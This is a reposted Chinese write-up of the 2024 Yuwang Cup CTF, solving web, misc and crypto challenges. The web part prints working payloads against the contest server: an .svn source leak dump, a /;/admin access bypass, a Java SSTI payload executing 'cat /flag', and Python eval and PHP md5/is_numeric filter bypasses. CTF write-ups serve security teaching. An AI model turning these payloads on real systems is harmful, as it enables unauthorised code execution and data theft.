第八届2024御网杯WP - 渗透测试中心
2024-10-4 17:47:0 Author: www.cnblogs.com(查看原文) 阅读量:7 收藏

WEB

input_data

使用工具https://github.com/kost/dvcs-ripper

./rip-svn.pl -u http://101.200.58.4:10005/.svn

下载下来.svn目录
然后查看结构发现几个文件

cd进去目录,然后cat 文件名字即可看到 flag{5674938f-803d-4c41-8f84-a77f5164bb4f}

Flag: flag{5674938f-803d-4c41-8f84-a77f5164bb4f}

admin

先通过越权访问到admin,访问路径如下

/;/admin

然后bp字典枚举出传参数path测试出ssti, 经过测试发现需要打java视图操作ssti
payload如下

http://101.200.58.4:3333/;/admin?path=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20/flag%22).getInputStream()).next()%7d__::x

成功命令执行:

Flag:flag{5d28c6ce-fede-498a-9053-6fe53f54f7d3}

flask

题目源码如下

from flask import Flask, request, Response
import re

app = Flask(__name__)

@app.route('/')
def index():
    evalme = request.args.get('evalme')

    if ((not evalme) or re.search(r'[A-Zd-z\\. /*$#@!+^]', evalme)):
        return 'hacker?'
    a=eval(evalme)
    print(1)
    with open(a, 'rb') as f:
        return Response(f.read())

if __name__ == '__main__':
    app.run(port=8081,debug=True)

由于禁用了字母,但是abc还可以构造格式化字符串,其实还可以用unicode字符绕过,即使没有abc
命令如下 格式化字符串构造文件名字/flag 通过字典取值得到

/?evalme=[a:=%22%c%c%c%c%c%22%(47,102,108,97,103)][-1]

如此多的FLAG

源码中找到下一层文件F1aaj.php

cookie中找到题目下一层的文件/FLLL4g.php

FLLL4g.php访问源码如下

<?php 
if (isset($_GET['X'])) { 
    $temp = $_GET['X']; 
    is_numeric($temp) ? die("no numeric") : NULL; 
    if ($temp > 9999) { 
        echo "Pupil.</br>"; 
    } else { 
        die("NO!NO!NO!"); 
    } 
} 
else { 
    die("Where is X?"); 
} 

if (isset($_GET['Y'])) { 
    $md5 = $_GET['Y']; 
    if ($md5==md5($md5)) { 
        echo "Junior school student.</br>"; 
    } else { 
        die("NO!NO!NO!"); 
    } 
} 
else { 
    die("Where is Y?"); 
} 

if (isset($_GET['Z'])) { 
    $content = $_GET['Z']; 
    if (strlen($content) >= 60) { 
        die("No long!"); 
    } 
    $blacklist = [' ', '\'', '"', '`', '\[', '\]', '\{',  '}', '\t', '\r', '\n']; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match('/' . $blackitem . '/m', $content)) { 
            die("NO!NO!NO!"); 
        } 
    } 
    $security = ['abs', 'base_convert', 'cos', 'dechex', 'exp', 'f1ag', 'getrandmax', 'hexdec', 'is_nan', 'log', 'max', 'octdec', 'pi', 'sin', 'tan']; 
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $security)) { 
            die("NO!NO!NO!"); 
        } 
    } 
    eval('echo '.$content.';'); 
    if(isset($f1ag)){ 
        if($f1ag == "flag"){ 
            echo "Senior high school student.</br>"; 
            echo "Here_is_flag!!!!!!!"; 
        } 
    } 
    else{ 
        echo "NO!NO!NO!"; 
    } 

} 
else { 
    die("Where is Z?"); 
} 
?>

第一种方法
第一步先绕过is_numeric,用数组即可
第二步md5绕过网上一搜一大把
X[]=10000&Y=0e215962017&Z=log($f1ag=0)

第三步可以用 0来绕过,log函数就可以X[]=10000&Y=0e215962017&Z=log($f1ag=0)

或者使用cos函数也可以 X[]=10000&Y=0e215962017&Z=cos($f1ag=0)

Misc:

信息安全大赛的通知

打开后换颜色即可看到flag

多重编码

附件:

编码1:++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<.+.<<<+++++++.------.>>>+.+.---.<<<.

编码2:([](!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+([](!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(![]+[])[+[]]+[!+[]+!+[]]+[+!+[]]

编码3:Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook!
Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook?
Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook.
Ook! Ook. Ook! Ook. Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook!
Ook! Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook. Ook? Ook.

第一段 JSFUCK 解密:flag{ab71cda1

都二段 控制台解码:b495e13b3f21

第三段Ook解密:f6fd50221978}

flag{ab71cda1b495e13b3f21f6fd50221978}

bluetooth

全局搜索flag发现zip并有ke密钥

发现有明显的压缩包 以及flag.txt文档

还有个key的密钥

将压缩包导出

导出压缩包

这里有人不知道如何把这两个文件导出  我简单说一下

第一种

将流量包文件改成zip之类的压缩包格式 进行解压分离提取

第二种

直接将流量包文件用相关命令进行分离

第三种

打开流量包找到存在关键字的原始数据 复制导入16进制文件 需改文头尾 得到压缩包

注意

这里有很多人得到压缩包 发现文件受损 打不开  这里你换一个解压软件就可以

得到密文和密钥:

flag.txt:
10004583275926070044326083910251708233320797779355779208703097816305188140191914132269450797
Key:5216294695211820293806247029887026154798297270637676463374801674229881314620340407569315152

这就是密文和密钥

10进制转16进制 脚本

def hex(number):
    hex_str = hex(number)[2:]
    if len(hex_str) == 1:
        hex_str = '0' + hex_str
    return hex_str


if __name__ == "__main__":
    number = int(input("input: "))
    hex_representation = hex(number)
    print(f"{number}的16进制表示为: {hex_representation}")

密文

4e94dcdb6de87e65d263419ec45aec93e8a2e1d386b31fb804e0f02366df44dbe86a8a7c462d

密钥 

28f8bdbc16de4850e05579acf33c8aa08ac3d9e6e3822b8c3081c04700eb25b88a08eb457550

进行异或

# 定义加密后的密文和密钥的十六进制字符串  

txt = "4e94dcdb6de87e65d263419ec45aec93e8a2e1d386b31fb804e0f02366df44dbe86a8a7c462d"

key = "28f8bdbc16de4850e05579acf33c8aa08ac3d9e6e3822b8c3081c04700eb25b88a08eb457550"

# 将十六进制字符串转换为字节对象

ciphertext_bytes = bytes.fromhex(txt)

key_bytes = bytes.fromhex(key)

# 使用逐字节异或进行解密

# 注意:这里假设密钥和密文长度相同,否则zip会截断到较短的长度

decrypted_bytes = bytes([c ^ k for c, k in zip(ciphertext_bytes, key_bytes)])

# 尝试将解密后的字节对象解码为字符串,忽略无法解码的字节

# 这里假设解密后的字节能够大部分解码为有效的UTF-8字符

print(decrypted_bytes.decode(errors="ignore"))

# 打印解密后的字符串(这行代码其实和上面的print是重复的,但保留以展示意图)

# print(decrypted_bytes.decode(errors="ignore"))

得到flag{66526827ff3ba85e1444a0df4acbba93}

# 定义两个非常大的整数,flag 和 key  

flag = 10004583275926070044326083910251708233320797779355779208703097816305188140191914132269450797  

key = 5216294695211820293806247029887026154798297270637676463374801674229881314620340407569315152  

# 将 flag 和 key 转换为十六进制字符串,并去掉前缀 '0x'  

flag_hex = hex(flag)[2:]  

key_hex = hex(key)[2:]  

# 确定 flag_hex 和 key_hex 中较长者的长度,以便进行零填充  

max_length = max(len(flag_hex), len(key_hex))  

# 使用零填充较短的十六进制字符串,使其与较长的字符串长度相同  

flag_hex = flag_hex.zfill(max_length)  

key_hex = key_hex.zfill(max_length)  

# 将填充后的十六进制字符串转换为字节对象  

flag_bytes = bytes.fromhex(flag_hex)  

key_bytes = bytes.fromhex(key_hex)  

# 对 flag_bytes 和 key_bytes 进行逐字节的异或操作  

# 使用列表推导式和 zip 函数来遍历两个字节对象的对应位置,并对它们进行异或操作  

flag_xor = bytes([f ^ k for f, k in zip(flag_bytes, key_bytes)])  

# 打印异或操作的结果  

# 注意:这个结果是一个字节对象,可能无法直接作为可读文本打印(除非它仅包含可打印字符)  

# 你可以将其再次转换为十六进制字符串来查看  

print(flag_xor.hex())  

# 如果你想要查看原始的字节表示(作为十六进制字符串,但带有空格分隔),可以这样做:  

print(' '.join(f'{byte:02x}' for byte in flag_xor))

Coding

观察给的文件

936544a55314a7e4339545f47776a6e41315a7d41325743575655455b4478516a6537416
谜底就是flag,希望大家享受解码的过程。

直接用赛博厨子,html解码,逆序,16进制解码,base64解码即可

凯撒爆破:

Crypto

不小心

题目:

原题目脚本注释

这里我们来分析一下 题目脚本(我直接在脚本中给出注释)

“+”有多个,就需要爆破一下

其实这里一个小漏洞

我们看他自己给的脚本中有DASCTF的字样 这足以证明这道题是之前的原题(这里说明主办方有点懒呀 无意冒犯 哈哈哈) (是2022河北银行CTF的原题 )

所以脚本直接照搬加以修改也可以(注释)

得到FLAG

DASCTF{78ada113e709fdf12a5aa4aa5dd62e33}

Justmath

题目一个函数图像 一个脚本

原脚本注释

编写脚本

第一部分:使用SageMath解方程恢复部分flag

第二部分:使用RSA和Coppersmith的小根数攻击恢复剩余的flag

得到flag

flag{0f5a1806d07f030767e113352727ea2d}

BASE

题目

这个提示已经很明显了 直接写到的文件名 说白了还是套娃的编码

有工具就直接梭哈  没工具就一个一个试

chgdchg5clctclcxclc5cdc9chcdcdc9chctchglcdc9chclclcdclcpchchchgdchg5clg5chg9clcpchclcdcdchg9chg5chctclc9chghclchchclclcpclchchghchg5clcpcdclchcpchclcdc9clcdcdc9chglchg5chg5chctcdc9clchclcdchclchgdchcpcdclchclcdc9chghclcdchg5chctclcpchctclclchgpclclchgdclcBchgdchcpchgdclclcdc9chglchcdclg5chglchg5clctchctclctclchchgdchglchg9clcpcdchchcpclclclcpcdc9chg9chcxchclcdghcdghcdghcdghcdghcdgh

中间需要过度一下base62  (别问工具为什么不能直接搜哈 要么格式 要么不完善 这就需要你去开发了)

 提供在线网址

base编码解码-base64、base32、base16加密与解密 - 在线工具

base编码解码工具能够将普通的文字转为base32、base16、base58、base91、base85、base64、base36、base62等编码字符,还能够将这些base编码加密的字符重新解码转换为正常文字.

https://www.wqtool.com/basecode

4C4A575851324332474E32455356444C4A5A4B5645334B4A47524D544556544D4A563546453253324E4A4A47325453454C463545324D534A475647554F554C594C464C55324E435A4E4A574757544C4E4B5634465556324B48453D3D3D3D3D3D

flag{HNCTFb8cee34cf4f4633b90d1ac8b9d2e1eb}  这题八成也是之前的原题

总结套娃层

1 base100-->2 base64-->3 base85(ASCII85)-->4 base91-->5 base62-->6 hex-->7 base32-->8 base64

easy_crypto1

RSA才是密码的主导 能把所有攻击模式和理论掌握并可以熟练掌握编写脚本  芜湖起飞

这个题也是之前的原题 (攻防世界 crypto---simpleRSA wp)

题目

以下脚本仅供参考理解并没有代入实际值

参考原题解析

https://blog.csdn.net/luochen2436/article/details/128012748

求解E1

由q = next_prime(getPrime(16) * p + 38219)可知,q为p*getPrime(16)+38219的下一个素数,因此getPrime(16)较小,所以我们可以在其取值范围为遍历出符合题目的值,从而解出q。

求解E2: 中国剩余定理 

简单处理一下,之后开e次方即可。

求P以及flag

第三部分代码本来是出题者想出p高位然后去求P的,但是在第四段代码中出了纰漏,n1 = P * Q1和n2 = P * Q2这两个n有共同的因子P,所以可以直接求他们的最大公约数得到P,即P=gmpy2.gcd(n1,n2),则分别可以求出Q1=n1//P和Q2=n2//P。

本题难点:计算E1和phi1,E2和phi2发现都等于35,不能够直接求私钥d了,而且求出来的m直接开35次方也得不到flag。

完整解题代码

这段代码是一个典型的RSA密码破解示例,其中利用了RSA加密系统的某些弱点(如公共指数与欧拉函数φ(n)不互质)来恢复明文。此外,它还使用了中国剩余定理(CRT)来组合在两个不同模数下的解。下面是对代码的逐步解析和解释:

导入必要的库:代码首先导入了gmpy2库用于大数运算,以及Crypto.Util.number中的CRT_list函数用于应用中国剩余定理。

定义n1, n2, c1, c2, E1, E2:这些变量分别代表两个RSA公钥的模数、密文以及公共指数。

计算p和q:由于n1和n2有共同因子p,所以通过计算gmpy2.gcd(n1, n2)找到p,然后用n1//p得到q。这里假设n1和n2都是p和某个不同q的乘积,这在现实中很少见,但在这个例子中是有效的。

计算欧拉函数φ(n):欧拉函数φ(n) = (p-1)*(q-1),用于后续计算私钥d。

找到E1和φ(n)的最大公约数t,并计算私钥d:由于E1和φ(n)不互质,这允许我们找到一个非1的t,并用它来计算私钥d。这里使用了gmpy2.invert(E1//t, phi)来计算d,这是基于扩展欧几里得算法求逆元。

解密c1得到m:使用私钥d和模数n1来解密c1,得到中间值m。

构造多项式并求解:由于m是模p和模q下的解,我们构造多项式x^t - m,并在模p和模q的域内求解这个多项式。这里使用了SageMath的Zmod和roots函数来找到解。

应用中国剩余定理:对于模p和模q下的解,我们使用CRT_list函数结合中国剩余定理来找到原始的m值(在这个场景下是flag的字节表示)。

验证并打印flag:遍历所有可能的组合,应用中国剩余定理后检查得到的字节串是否包含"flag"字符串。如果是,则打印出flag。

flag{27dab675-9e9b-4c1f-99ab-dd9fe49c190a}

附件地址下载:

链接: https://pan.baidu.com/s/1STzokhdXgKvXz-d2Be5mYQ       提取码: qjyq 

转自参考原文连接地址:


文章来源: https://www.cnblogs.com/backlion/p/18446972
如有侵权请联系:admin#unsafe.sh